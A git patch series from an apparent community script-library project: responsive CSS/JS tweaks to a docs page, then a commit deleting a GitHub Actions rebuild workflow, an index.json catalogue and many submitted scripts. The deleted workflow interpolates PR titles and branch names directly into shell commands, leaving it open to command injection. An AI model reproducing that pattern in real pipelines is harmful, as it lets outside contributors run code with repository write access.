min(100%, 560px); + margin-left: 0; + margin-right: auto; + } + + .agent-card { + width: 154px; + right: 96px; + top: 24px; + } + + body.is-live-code .agent-card, + body.cap-agent .agent-card { + right: 36px; + top: 22px; + transform: rotate(5deg) scale(0.92); + } + + .package-card { + width: 168px; + left: 32px; + bottom: 16px; + } + + body.cap-package .package-card { + left: 18px; + bottom: 18px; + transform: rotate(-4deg) scale(0.92); + } + + body.cap-ssh .ssh-pill { + right: 48px; + bottom: 18px; + transform: rotate(3deg) scale(0.94); + } + + .scroll-story { + margin-top: -2svh; + padding: 4svh 0 34px; + } + + .story-stage { + padding: 24px 44px; + } + + .story-card { + grid-template-columns: 1fr; + gap: 24px; + padding: 34px 0; + } + + .story-copy { + max-width: 760px; + } + + .feature-row { + grid-template-columns: 1fr; + gap: 12px; + } + + .feature-tile { + min-height: 86px; + grid-template-columns: auto 1fr; + align-items: center; + gap: 14px; + padding: 14px 16px; + border-radius: 30px; + } + + .feature-tile strong { + font-size: 16px; + } + + .resources { + padding-top: 36px; + } + } + @media (prefers-reduced-motion: reduce) { *, *::before, From 18abaa1a050c3249784cde12d7cc98b0865a8616 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Sat, 23 May 2026 05:24:49 +0800 Subject: [PATCH 04/33] Refine mobile mosaic and code card --- docs/index.html | 59 +++++++++++++++++++++++++++++-------------------- 1 file changed, 35 insertions(+), 24 deletions(-) diff --git a/docs/index.html b/docs/index.html index 82e9029..f3bf6d0 100644 --- a/docs/index.html +++ b/docs/index.html @@ -1929,7 +1929,7 @@ @media (min-width: 760px) and (max-width: 980px) and (orientation: portrait) { .site { - min-height: 118svh; + min-height: 108svh; padding: 0; } @@ -2053,17 +2053,29 @@ } .visual { - min-height: 360px; + min-height: 390px; margin-top: 0; align-items: start; + justify-items: start; } .code-card { - width: min(100%, 560px); + width: min(100%, 450px); margin-left: 0; margin-right: auto; } + .card-bar { + height: 50px; + padding: 0 17px; + } + + pre { + font-size: 12.7px; + line-height: 1.78; + padding: 18px 17px 14px 14px; + } + .agent-card { width: 154px; right: 96px; @@ -2865,40 +2877,39 @@

Download, source, docs.

if (resourcesTop < viewportProbe) zone = "resources"; else if (featuresTop < viewportProbe) zone = "features"; - let base; - let radiusX; - let radiusY; + const isPortraitMobile = window.matchMedia("(max-width: 980px) and (orientation: portrait)").matches; + let centerX = width * 0.5; + let centerY = height * 0.5; + let radiusX = Math.min(width * (isPortraitMobile ? 0.36 : 0.32), isPortraitMobile ? 220 : 280); + let radiusY = Math.min(height * (isPortraitMobile ? 0.28 : 0.24), isPortraitMobile ? 210 : 240); let phase = 0; - let strength = 0.74; + let strength = 0.76; if (zone === "resources") { - base = elementViewportCenter(".resource-links", { x: width * 0.62, y: height * 0.58 }); const p = sectionProgress("#resources"); - radiusX = Math.min(width * 0.2, 86); - radiusY = Math.min(height * 0.16, 78); - phase = p * 2.4; - strength = 0.7; + centerX = width * (isPortraitMobile ? 0.52 : 0.58); + centerY = height * (isPortraitMobile ? 0.48 : 0.54); + phase = p * 4.1 + 1.4; + strength = 0.72; } else if (zone === "features") { - base = elementViewportCenter(".feature-row", { x: width * 0.52, y: height * 0.58 }); const p = sectionProgress("#features"); - radiusX = Math.min(width * 0.24, 96); - radiusY = Math.min(height * 0.18, 90); - phase = p * 3.2 + 0.7; - strength = 0.76; + centerX = width * (isPortraitMobile ? 0.48 : 0.54); + centerY = height * (isPortraitMobile ? 0.46 : 0.52); + phase = p * 4.4 + 0.72; + strength = 0.78; } else { - base = elementViewportCenter(".code-card", { x: width * 0.55, y: height * 0.5 }); const p = sectionProgress("#top"); - radiusX = Math.min(width * 0.22, 110); - radiusY = Math.min(height * 0.15, 84); - phase = p * 2.2; - strength = 0.78; + centerX = width * (isPortraitMobile ? 0.52 : 0.56); + centerY = height * (isPortraitMobile ? 0.44 : 0.5); + phase = p * 3.8; + strength = 0.8; } return { zone, strength, - x: base.x + Math.cos(time * 0.84 + phase) * radiusX + Math.sin(time * 1.64 + phase) * radiusX * 0.28, - y: base.y + Math.sin(time * 0.92 + phase) * radiusY + Math.cos(time * 1.36 + phase) * radiusY * 0.24 + x: centerX + Math.cos(time * 0.58 + phase) * radiusX + Math.sin(time * 1.14 + phase) * radiusX * 0.34, + y: centerY + Math.sin(time * 0.64 + phase) * radiusY + Math.cos(time * 1.03 + phase) * radiusY * 0.28 }; } From 717c67f78018e1aa481d647d6b3bb7f19c527ebd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Wed, 27 May 2026 23:36:31 +0800 Subject: [PATCH 05/33] Remove public script submission assets --- .github/workflows/approve_submission.yml | 213 -- script_library/index.json | 1867 ----------------- .../scripts/basic/cipilot_mobvhfz8.py | 385 ---- .../scripts/basic/cmd1_0_mnirvpz0.py | 92 - .../scripts/basic/cmd1_0_mnleeeta.py | 96 - .../scripts/basic/cmd2_0_mnll1610.py | 98 - .../scripts/basic/cmd2_0_mnoj7n30.py | 29 - .../scripts/basic/cmd2_6_mo2zh2uh.py | 144 -- .../scripts/basic/cookie_2_0_mn37fkak.py | 91 - script_library/scripts/basic/ddos_mnydfe4y.py | 99 - .../scripts/basic/flight_mn1ryk35.py | 69 - script_library/scripts/basic/get_mnsxghs0.py | 40 - script_library/scripts/basic/ip_mndf9xci.py | 149 -- .../scripts/basic/script_mn6mob7u.py | 56 - .../scripts/basic/script_mnahfe4x.py | 227 -- .../scripts/basic/script_mnbnp2ee.py | 54 - .../scripts/basic/script_mndbzbxy.py | 290 --- .../scripts/basic/script_mnfqk5cz.py | 15 - .../scripts/basic/script_mnfrb0ax.py | 23 - .../scripts/basic/script_mngcmh7k.py | 138 -- .../scripts/basic/script_mnkej15x.py | 78 - .../scripts/basic/script_mnl0ws3b.py | 187 -- .../scripts/basic/script_mnnqr05c.py | 427 ---- .../scripts/basic/script_mnoj6hz6.py | 26 - .../scripts/basic/script_mnul4nuo.py | 17 - .../scripts/basic/script_mofoo3s6.py | 359 ---- .../scripts/basic/script_moio9udy.py | 159 -- .../scripts/basic/web_crawler_mn26dhgw.py | 971 --------- .../scripts/basic/web_crawler_mo38mv63.py | 26 - .../scripts/basic/whois_mnk4rrph.py | 351 ---- script_library/scripts/games/2048_mn4569dx.py | 559 ----- script_library/scripts/games/ai_mndywb18.py | 650 ------ .../scripts/games/block_blast_mnerg6j8.py | 1121 ---------- script_library/scripts/games/brick_breaker.py | 626 ------ script_library/scripts/games/gravity_maze.py | 297 --- script_library/scripts/games/jump_tower.py | 369 ---- script_library/scripts/games/neon_snake.py | 499 ----- .../scripts/games/script_mmw77ur1.py | 602 ------ .../scripts/games/script_mmw8jszb.py | 615 ------ .../scripts/games/script_mmw9b6wi.py | 615 ------ .../scripts/games/script_mmw9k80z.py | 562 ----- .../scripts/games/script_mmx89esh.py | 200 -- .../scripts/games/script_mn0g9yri.py | 333 --- .../scripts/games/script_mn7hc213.py | 108 - .../scripts/games/script_mn7q5him.py | 470 ----- .../scripts/games/script_mnadv3th.py | 187 -- .../scripts/games/script_mnhgvh9i.py | 1458 ------------- .../scripts/games/script_mnutzsk7.py | 236 --- script_library/scripts/games/space_shooter.py | 351 ---- script_library/scripts/games/whack_mole.py | 426 ---- .../other/mindos_novus_2_3_mogqtz27.py | 420 ---- .../scripts/other/script_mol0mojg.py | 1049 --------- script_library/scripts/ui/2_0_mngptldc.py | 713 ------- script_library/scripts/ui/3_0_mo8lp3m5.py | 642 ------ script_library/scripts/ui/qiyue_mnyea7xv.py | 146 -- script_library/scripts/ui/script_mmvsfmza.py | 144 -- script_library/scripts/ui/script_mmw6k09q.py | 144 -- script_library/scripts/ui/script_mmw6yzdm.py | 144 -- script_library/scripts/ui/script_mmyy8nf3.py | 222 -- script_library/scripts/ui/script_mn8qerq9.py | 98 - script_library/scripts/ui/script_mnbr9mqw.py | 265 --- script_library/scripts/ui/script_mo9oqex4.py | 77 - script_library/scripts/ui/script_mogykcgu.py | 1096 ---------- .../scripts/ui/script_mohivn8v.html | 558 ----- .../scripts/ui/script_moiq6nby.html | 424 ---- .../scripts/ui/subinfo_web_mnlyw592.py | 567 ----- script_library/scripts/ui/ui_mnkr9090.py | 577 ----- script_library/scripts/ui/vpn_mnqlott7.py | 18 - .../scripts/widgets/2_0_mn37c7pr.py | 100 - script_library/scripts/widgets/2_mna8yaj4.py | 113 - script_library/scripts/widgets/e_mnagdrfc.py | 178 -- .../scripts/widgets/iphone_mnj29d3s.py | 74 - .../scripts/widgets/salary_widget_mnyqeg8t.py | 191 -- .../scripts/widgets/script_mmwa0ets.py | 94 - .../scripts/widgets/script_mmyzioeo.py | 85 - .../scripts/widgets/script_mn91mn1t.py | 113 - .../scripts/widgets/script_mn9r95l0.py | 87 - .../scripts/widgets/script_mna05y9m.py | 312 --- .../scripts/widgets/script_mnbrzcaq.py | 130 -- .../scripts/widgets/script_mnfx90ey.py | 189 -- .../scripts/widgets/script_mnj1lj72.py | 93 - 81 files changed, 26123 deletions(-) delete mode 100644 .github/workflows/approve_submission.yml delete mode 100644 script_library/index.json delete mode 100644 script_library/scripts/basic/cipilot_mobvhfz8.py delete mode 100644 script_library/scripts/basic/cmd1_0_mnirvpz0.py delete mode 100644 script_library/scripts/basic/cmd1_0_mnleeeta.py delete mode 100644 script_library/scripts/basic/cmd2_0_mnll1610.py delete mode 100644 script_library/scripts/basic/cmd2_0_mnoj7n30.py delete mode 100644 script_library/scripts/basic/cmd2_6_mo2zh2uh.py delete mode 100644 script_library/scripts/basic/cookie_2_0_mn37fkak.py delete mode 100644 script_library/scripts/basic/ddos_mnydfe4y.py delete mode 100644 script_library/scripts/basic/flight_mn1ryk35.py delete mode 100644 script_library/scripts/basic/get_mnsxghs0.py delete mode 100644 script_library/scripts/basic/ip_mndf9xci.py delete mode 100644 script_library/scripts/basic/script_mn6mob7u.py delete mode 100644 script_library/scripts/basic/script_mnahfe4x.py delete mode 100644 script_library/scripts/basic/script_mnbnp2ee.py delete mode 100644 script_library/scripts/basic/script_mndbzbxy.py delete mode 100644 script_library/scripts/basic/script_mnfqk5cz.py delete mode 100644 script_library/scripts/basic/script_mnfrb0ax.py delete mode 100644 script_library/scripts/basic/script_mngcmh7k.py delete mode 100644 script_library/scripts/basic/script_mnkej15x.py delete mode 100644 script_library/scripts/basic/script_mnl0ws3b.py delete mode 100644 script_library/scripts/basic/script_mnnqr05c.py delete mode 100644 script_library/scripts/basic/script_mnoj6hz6.py delete mode 100644 script_library/scripts/basic/script_mnul4nuo.py delete mode 100644 script_library/scripts/basic/script_mofoo3s6.py delete mode 100644 script_library/scripts/basic/script_moio9udy.py delete mode 100644 script_library/scripts/basic/web_crawler_mn26dhgw.py delete mode 100644 script_library/scripts/basic/web_crawler_mo38mv63.py delete mode 100644 script_library/scripts/basic/whois_mnk4rrph.py delete mode 100644 script_library/scripts/games/2048_mn4569dx.py delete mode 100644 script_library/scripts/games/ai_mndywb18.py delete mode 100644 script_library/scripts/games/block_blast_mnerg6j8.py delete mode 100644 script_library/scripts/games/brick_breaker.py delete mode 100644 script_library/scripts/games/gravity_maze.py delete mode 100644 script_library/scripts/games/jump_tower.py delete mode 100644 script_library/scripts/games/neon_snake.py delete mode 100644 script_library/scripts/games/script_mmw77ur1.py delete mode 100644 script_library/scripts/games/script_mmw8jszb.py delete mode 100644 script_library/scripts/games/script_mmw9b6wi.py delete mode 100644 script_library/scripts/games/script_mmw9k80z.py delete mode 100644 script_library/scripts/games/script_mmx89esh.py delete mode 100644 script_library/scripts/games/script_mn0g9yri.py delete mode 100644 script_library/scripts/games/script_mn7hc213.py delete mode 100644 script_library/scripts/games/script_mn7q5him.py delete mode 100644 script_library/scripts/games/script_mnadv3th.py delete mode 100644 script_library/scripts/games/script_mnhgvh9i.py delete mode 100644 script_library/scripts/games/script_mnutzsk7.py delete mode 100644 script_library/scripts/games/space_shooter.py delete mode 100644 script_library/scripts/games/whack_mole.py delete mode 100644 script_library/scripts/other/mindos_novus_2_3_mogqtz27.py delete mode 100644 script_library/scripts/other/script_mol0mojg.py delete mode 100644 script_library/scripts/ui/2_0_mngptldc.py delete mode 100644 script_library/scripts/ui/3_0_mo8lp3m5.py delete mode 100644 script_library/scripts/ui/qiyue_mnyea7xv.py delete mode 100644 script_library/scripts/ui/script_mmvsfmza.py delete mode 100644 script_library/scripts/ui/script_mmw6k09q.py delete mode 100644 script_library/scripts/ui/script_mmw6yzdm.py delete mode 100644 script_library/scripts/ui/script_mmyy8nf3.py delete mode 100644 script_library/scripts/ui/script_mn8qerq9.py delete mode 100644 script_library/scripts/ui/script_mnbr9mqw.py delete mode 100644 script_library/scripts/ui/script_mo9oqex4.py delete mode 100644 script_library/scripts/ui/script_mogykcgu.py delete mode 100644 script_library/scripts/ui/script_mohivn8v.html delete mode 100644 script_library/scripts/ui/script_moiq6nby.html delete mode 100644 script_library/scripts/ui/subinfo_web_mnlyw592.py delete mode 100644 script_library/scripts/ui/ui_mnkr9090.py delete mode 100644 script_library/scripts/ui/vpn_mnqlott7.py delete mode 100644 script_library/scripts/widgets/2_0_mn37c7pr.py delete mode 100644 script_library/scripts/widgets/2_mna8yaj4.py delete mode 100644 script_library/scripts/widgets/e_mnagdrfc.py delete mode 100644 script_library/scripts/widgets/iphone_mnj29d3s.py delete mode 100644 script_library/scripts/widgets/salary_widget_mnyqeg8t.py delete mode 100644 script_library/scripts/widgets/script_mmwa0ets.py delete mode 100644 script_library/scripts/widgets/script_mmyzioeo.py delete mode 100644 script_library/scripts/widgets/script_mn91mn1t.py delete mode 100644 script_library/scripts/widgets/script_mn9r95l0.py delete mode 100644 script_library/scripts/widgets/script_mna05y9m.py delete mode 100644 script_library/scripts/widgets/script_mnbrzcaq.py delete mode 100644 script_library/scripts/widgets/script_mnfx90ey.py delete mode 100644 script_library/scripts/widgets/script_mnj1lj72.py diff --git a/.github/workflows/approve_submission.yml b/.github/workflows/approve_submission.yml deleted file mode 100644 index 9da2312..0000000 --- a/.github/workflows/approve_submission.yml +++ /dev/null @@ -1,213 +0,0 @@ -name: Rebuild open submission PRs after merge - -on: - pull_request: - types: [closed] - branches: [main] - -concurrency: - group: rebuild-submissions - cancel-in-progress: false - -jobs: - rebuild: - if: github.event.pull_request.merged == true - runs-on: ubuntu-latest - permissions: - contents: write - pull-requests: write - - steps: - - uses: actions/checkout@v4 - with: - ref: main - fetch-depth: 1 - token: ${{ secrets.GITHUB_TOKEN }} - - - name: Rebuild open PRs onto latest main - uses: actions/github-script@v7 - with: - script: | - const { execSync } = require('child_process'); - const fs = require('fs'); - const path = require('path'); - - execSync('git config user.name "github-actions[bot]"'); - execSync('git config user.email "github-actions[bot]@users.noreply.github.com"'); - - // 获取所有 open 的 PR - const { data: openPRs } = await github.rest.pulls.list({ - owner: context.repo.owner, - repo: context.repo.repo, - state: 'open', - base: 'main', - sort: 'created', - direction: 'asc' - }); - - if (openPRs.length === 0) { - core.info('No open PRs to rebuild.'); - return; - } - - core.info(`Found ${openPRs.length} open PR(s) to rebuild.`); - - for (const pr of openPRs) { - const branch = pr.head.ref; - core.info(`\nRebuilding PR #${pr.number}: ${pr.title} (branch: ${branch})`); - - try { - // 1. 获取 PR 的文件变更列表 - const { data: files } = await github.rest.pulls.listFiles({ - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: pr.number - }); - - // 2. 找到新增的脚本文件(排除 index.json) - const scriptFiles = files.filter(f => - f.status === 'added' && f.filename !== 'script_library/index.json' - ); - - if (scriptFiles.length === 0) { - core.warning(`PR #${pr.number}: No new script files found, skipping.`); - continue; - } - - // 3. 从 PR 分支获取每个脚本文件的内容 - const scriptContents = []; - for (const sf of scriptFiles) { - try { - const { data: fileData } = await github.rest.repos.getContent({ - owner: context.repo.owner, - repo: context.repo.repo, - path: sf.filename, - ref: branch - }); - const content = Buffer.from(fileData.content, 'base64').toString('utf8'); - scriptContents.push({ path: sf.filename, content }); - } catch (e) { - core.warning(`PR #${pr.number}: Failed to read ${sf.filename}: ${e.message}`); - } - } - - if (scriptContents.length === 0) { - core.warning(`PR #${pr.number}: Could not read script content, skipping.`); - continue; - } - - // 4. 从 PR body 中提取元数据 - const body = pr.body || ''; - const field = (key) => { - const re = new RegExp(`${key}[::]\\s*(.+)`, 'i'); - const m = body.match(re); - return m ? m[1].trim() : ''; - }; - const author = field('作者') || field('Author') || '社区投稿'; - const category = field('分类') || field('Category') || 'basic'; - const desc = field('描述') || field('Description') || pr.title; - const scriptName = pr.title.replace(/^\[投稿[::]\s*\w+\]\s*/, '').replace(/^\[投稿\]\s*/, '').trim() || 'untitled'; - - const catMap = { - '基础脚本': 'basic', 'basic': 'basic', - 'UI 界面': 'ui', 'UI': 'ui', 'ui': 'ui', - '游戏': 'games', 'Games': 'games', 'games': 'games', - '小组件': 'widgets', 'Widgets': 'widgets', 'widgets': 'widgets', - '其他': 'other', 'Other': 'other', 'other': 'other' - }; - let catId = catMap[category] || 'basic'; - - // 4b. 基于代码关键词自动修正分类 - const codeForClassify = scriptContents.map(s => s.content).join('\n'); - if (/\bimport\s+scene\b|from\s+scene\s+import\b|scene\.run\s*\(/.test(codeForClassify)) { - catId = 'games'; - core.info(`PR #${pr.number}: Auto-classified as "games" (detected scene module)`); - } else if (/\bimport\s+ui\b|from\s+ui\s+import\b|\.present\s*\(/.test(codeForClassify)) { - catId = 'ui'; - core.info(`PR #${pr.number}: Auto-classified as "ui" (detected ui module)`); - } else if (/from\s+widget\s+import\b|__WIDGET_LAYOUT__|Widget\s*\(/.test(codeForClassify)) { - catId = 'widgets'; - core.info(`PR #${pr.number}: Auto-classified as "widgets" (detected widget module)`); - } - - // 5. 基于最新 main 重建分支 - execSync('git checkout main', { stdio: 'pipe' }); - execSync('git pull origin main', { stdio: 'pipe' }); - - try { - execSync(`git branch -D ${branch}`, { stdio: 'pipe' }); - } catch (_) {} - execSync(`git checkout -b ${branch}`, { stdio: 'pipe' }); - - // 6. 写入脚本文件 - for (const sc of scriptContents) { - const dir = path.dirname(sc.path); - fs.mkdirSync(dir, { recursive: true }); - fs.writeFileSync(sc.path, sc.content, 'utf8'); - } - - // 7. 读取最新 index.json 并添加条目 - const indexPath = 'script_library/index.json'; - const index = JSON.parse(fs.readFileSync(indexPath, 'utf8')); - - const safeId = scriptName - .toLowerCase() - .replace(/[\s]+/g, '_') - .replace(/[^a-z0-9_\u4e00-\u9fff]/g, '') - .substring(0, 40) || `submission_${pr.number}`; - const scriptId = `community_${safeId}`; - - // 去重:如果已存在则跳过 - if (!index.scripts.some(s => s.id === scriptId)) { - const mainScript = scriptContents[0]; - const lineCount = mainScript.content.split('\n').length; - const fileType = path.extname(mainScript.path).replace('.', '') || 'py'; - - index.data_version += 1; - index.updated = new Date().toISOString().replace(/\.\d+Z$/, 'Z'); - index.scripts.push({ - id: scriptId, - name: scriptName, - name_en: scriptName, - desc: desc, - desc_en: desc, - category: catId, - file: mainScript.path.replace('script_library/', ''), - thumbnail: null, - version: 1, - file_type: fileType, - author: author, - author_en: author, - tags: ['community', catId], - requires: [], - min_app_version: '1.5.0', - added: new Date().toISOString().split('T')[0], - updated: null, - status: 'active', - lines: lineCount - }); - fs.writeFileSync(indexPath, JSON.stringify(index, null, 2) + '\n', 'utf8'); - } - - // 8. 提交并 force push - execSync(`git add -A`, { stdio: 'pipe' }); - execSync(`git commit -m "投稿: ${scriptName}" --allow-empty`, { stdio: 'pipe' }); - execSync(`git push origin ${branch} --force`, { stdio: 'pipe' }); - - core.info(`✅ PR #${pr.number} rebuilt successfully on latest main.`); - - // 切回 main - execSync('git checkout main', { stdio: 'pipe' }); - - } catch (e) { - core.warning(`❌ PR #${pr.number} rebuild failed: ${e.message}`); - try { execSync('git checkout main', { stdio: 'pipe' }); } catch (_) {} - - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: pr.number, - body: '⚠️ 自动重建失败,可能需要手动处理。' - }); - } - } diff --git a/script_library/index.json b/script_library/index.json deleted file mode 100644 index 4961813..0000000 --- a/script_library/index.json +++ /dev/null @@ -1,1867 +0,0 @@ -{ - "format_version": 1, - "data_version": 109, - "updated": "2026-04-30T05:00:37.853Z", - "announcement": null, - "categories": [ - { - "id": "basic", - "name": "基础脚本", - "name_en": "Basics", - "desc": "Python 基础功能演示", - "desc_en": "Python fundamentals & demos", - "icon": "curlybraces", - "sort": 1, - "color": "#4A90D9" - }, - { - "id": "ui", - "name": "UI 界面", - "name_en": "UI", - "desc": "原生 iOS 界面开发", - "desc_en": "Native iOS UI development", - "icon": "paintbrush.fill", - "sort": 2, - "color": "#E85D75" - }, - { - "id": "games", - "name": "游戏", - "name_en": "Games", - "desc": "Scene 模块 2D 游戏", - "desc_en": "2D games with Scene module", - "icon": "gamecontroller.fill", - "sort": 3, - "color": "#50C878" - }, - { - "id": "widgets", - "name": "小组件", - "name_en": "Widgets", - "desc": "桌面小组件脚本", - "desc_en": "Home screen widget scripts", - "icon": "square.grid.2x2", - "sort": 4, - "color": "#F5A623" - }, - { - "id": "other", - "name": "其他格式", - "name_en": "Other Formats", - "desc": "HTML / Markdown / JS", - "desc_en": "HTML / Markdown / JS", - "icon": "globe", - "sort": 5, - "color": "#9B59B6" - } - ], - "featured": [], - "scripts": [ - { - "id": "brick_breaker", - "name": "霓虹弹球", - "name_en": "Neon Brick Breaker", - "desc": "经典打砖块重制版。60级关卡、7种道具、连击火焰、粒子爆炸、HUD安全区适配", - "desc_en": "Classic brick breaker with 60 levels, 7 power-ups, combo flames, particle effects", - "category": "games", - "file": "scripts/games/brick_breaker.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "particle", - "game", - "brick" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 627 - }, - { - "id": "space_shooter", - "name": "太空射击", - "name_en": "Space Shooter", - "desc": "纵向卷轴射击游戏。手指控制飞船,自动射击,4种敌机、Boss战、连击系统、粒子爆炸", - "desc_en": "Vertical shooter with 4 enemy types, boss fights, combo system, particle explosions", - "category": "games", - "file": "scripts/games/space_shooter.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "particle", - "game", - "shooter" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 352 - }, - { - "id": "gravity_maze", - "name": "重力迷宫", - "name_en": "Gravity Maze", - "desc": "利用设备重力感应控制小球穿越迷宫,收集星星,躲避障碍", - "desc_en": "Tilt your device to guide the ball through mazes, collect stars, avoid obstacles", - "category": "games", - "file": "scripts/games/gravity_maze.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "gravity", - "accelerometer", - "game", - "maze" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 298 - }, - { - "id": "neon_snake", - "name": "霓虹贪吃蛇", - "name_en": "Neon Snake", - "desc": "赛博朋克风贪吃蛇。方向键+滑动操控、虚拟方向键、墙壁障碍、道具系统、连击计分", - "desc_en": "Cyberpunk snake game with D-pad + swipe controls, wall obstacles, power-ups, combo scoring", - "category": "games", - "file": "scripts/games/neon_snake.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "game", - "snake", - "dpad" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 500 - }, - { - "id": "jump_tower", - "name": "无尽跳塔", - "name_en": "Endless Jump Tower", - "desc": "无尽垂直跳跃游戏。触屏控制移动方向,自动弹跳,多种平台类型,越高难度越大", - "desc_en": "Endless vertical jumper with auto-bounce, multiple platform types, increasing difficulty", - "category": "games", - "file": "scripts/games/jump_tower.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "game", - "jump", - "endless" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 350 - }, - { - "id": "whack_mole", - "name": "极速打地鼠", - "name_en": "Whack-a-Mole", - "desc": "限时打地鼠挑战。普通/金色/炸弹三种地鼠,连击加分,粒子特效,多关卡递进", - "desc_en": "Timed whack-a-mole with 3 mole types, combo bonuses, particle effects, progressive levels", - "category": "games", - "file": "scripts/games/whack_mole.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "game", - "whack", - "timer" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 427 - }, - { - "id": "script_mmw6yzdm", - "name": "计算器", - "name_en": "计算器", - "desc": "iOS原生风格的计算器ui界面", - "desc_en": "iOS原生风格的计算器ui界面", - "category": "ui", - "file": "scripts/ui/script_mmw6yzdm.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 144 - }, - { - "id": "script_mmw77ur1", - "name": "俄罗斯方块", - "name_en": "俄罗斯方块", - "desc": "俄罗斯方块小游戏,AI制作", - "desc_en": "俄罗斯方块小游戏,AI制作", - "category": "games", - "file": "scripts/games/script_mmw77ur1.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎🐯", - "author_en": "今晚打老虎🐯", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 603 - }, - { - "id": "script_mmw8jszb", - "name": "霓虹塔防", - "name_en": "霓虹塔防", - "desc": "塔防游戏总共十次进攻", - "desc_en": "塔防游戏总共十次进攻", - "category": "games", - "file": "scripts/games/script_mmw8jszb.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 616 - }, - { - "id": "script_mmw9b6wi", - "name": "水果忍者", - "name_en": "水果忍者", - "desc": "水果忍者儿童的回忆", - "desc_en": "水果忍者儿童的回忆", - "category": "games", - "file": "scripts/games/script_mmw9b6wi.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎🐯", - "author_en": "今晚打老虎🐯", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 616 - }, - { - "id": "script_mmw9k80z", - "name": "节奏大师", - "name_en": "节奏大师", - "desc": "节奏大师你能玩的过吗", - "desc_en": "节奏大师你能玩的过吗", - "category": "games", - "file": "scripts/games/script_mmw9k80z.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 563 - }, - { - "id": "script_mmwa0ets", - "name": "习惯追踪器", - "name_en": "习惯追踪器", - "desc": "习惯追踪器", - "desc_en": "习惯追踪器", - "category": "widgets", - "file": "scripts/widgets/script_mmwa0ets.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎🐯", - "author_en": "今晚打老虎🐯", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 95 - }, - { - "id": "script_mmx89esh", - "name": "飞鸟", - "name_en": "飞鸟", - "desc": "太难了第一个柱子都过不了", - "desc_en": "太难了第一个柱子都过不了", - "category": "games", - "file": "scripts/games/script_mmx89esh.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "伟大的我", - "author_en": "伟大的我", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-19", - "updated": null, - "status": "active", - "lines": 201 - }, - { - "id": "script_mmyy8nf3", - "name": "计算器", - "name_en": "计算器", - "desc": "灰太狼开发", - "desc_en": "灰太狼开发", - "category": "ui", - "file": "scripts/ui/script_mmyy8nf3.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "计算器", - "author_en": "计算器", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-20", - "updated": null, - "status": "active", - "lines": 222 - }, - { - "id": "script_mmyzioeo", - "name": "这就是节假日", - "name_en": "这就是节假日", - "desc": "节假日小组件", - "desc_en": "节假日小组件", - "category": "widgets", - "file": "scripts/widgets/script_mmyzioeo.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-20", - "updated": null, - "status": "active", - "lines": 85 - }, - { - "id": "script_mn0g9yri", - "name": "火柴人搭桥", - "name_en": "火柴人搭桥", - "desc": "经典搭桥小游戏,用手指按在屏幕上,桥就会开始增加长度.你要在两根柱子之间正确的把桥搭好才能正确过关,过长过短都会掉下悬崖!考验你的距离敏感度!", - "desc_en": "经典搭桥小游戏,用手指按在屏幕上,桥就会开始增加长度.你要在两根柱子之间正确的把桥搭好才能正确过关,过长过短都会掉下悬崖!考验你的距离敏感度!", - "category": "games", - "file": "scripts/games/script_mn0g9yri.py", - 